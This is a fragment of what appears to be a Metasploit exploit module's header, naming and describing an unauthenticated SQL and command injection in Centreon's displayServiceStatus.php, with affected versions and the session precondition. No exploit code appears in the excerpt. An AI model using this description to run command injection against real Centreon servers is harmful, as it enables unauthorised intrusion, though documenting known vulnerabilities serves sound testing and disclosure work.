  'Name' => 'Centreon SQL and Command Injection',
  'Description'=> %q{
  This module exploits several vulnerabilities on Centreon 2.5.1 and prior and Centreon
  Enterprise Server 2.2 and prior. Due to a combination of SQL injection and command
  injection in the displayServiceStatus.php component, it is possible to execute arbitrary
  commands as long as there is a valid session registered in the centreon.session table.
  In order to have a valid session, all it takes is a successful login from anybody.
  The exploit itself does not require any authentication.
  
  This module has been tested successfully on Centreon Enterprise Server 2.2.
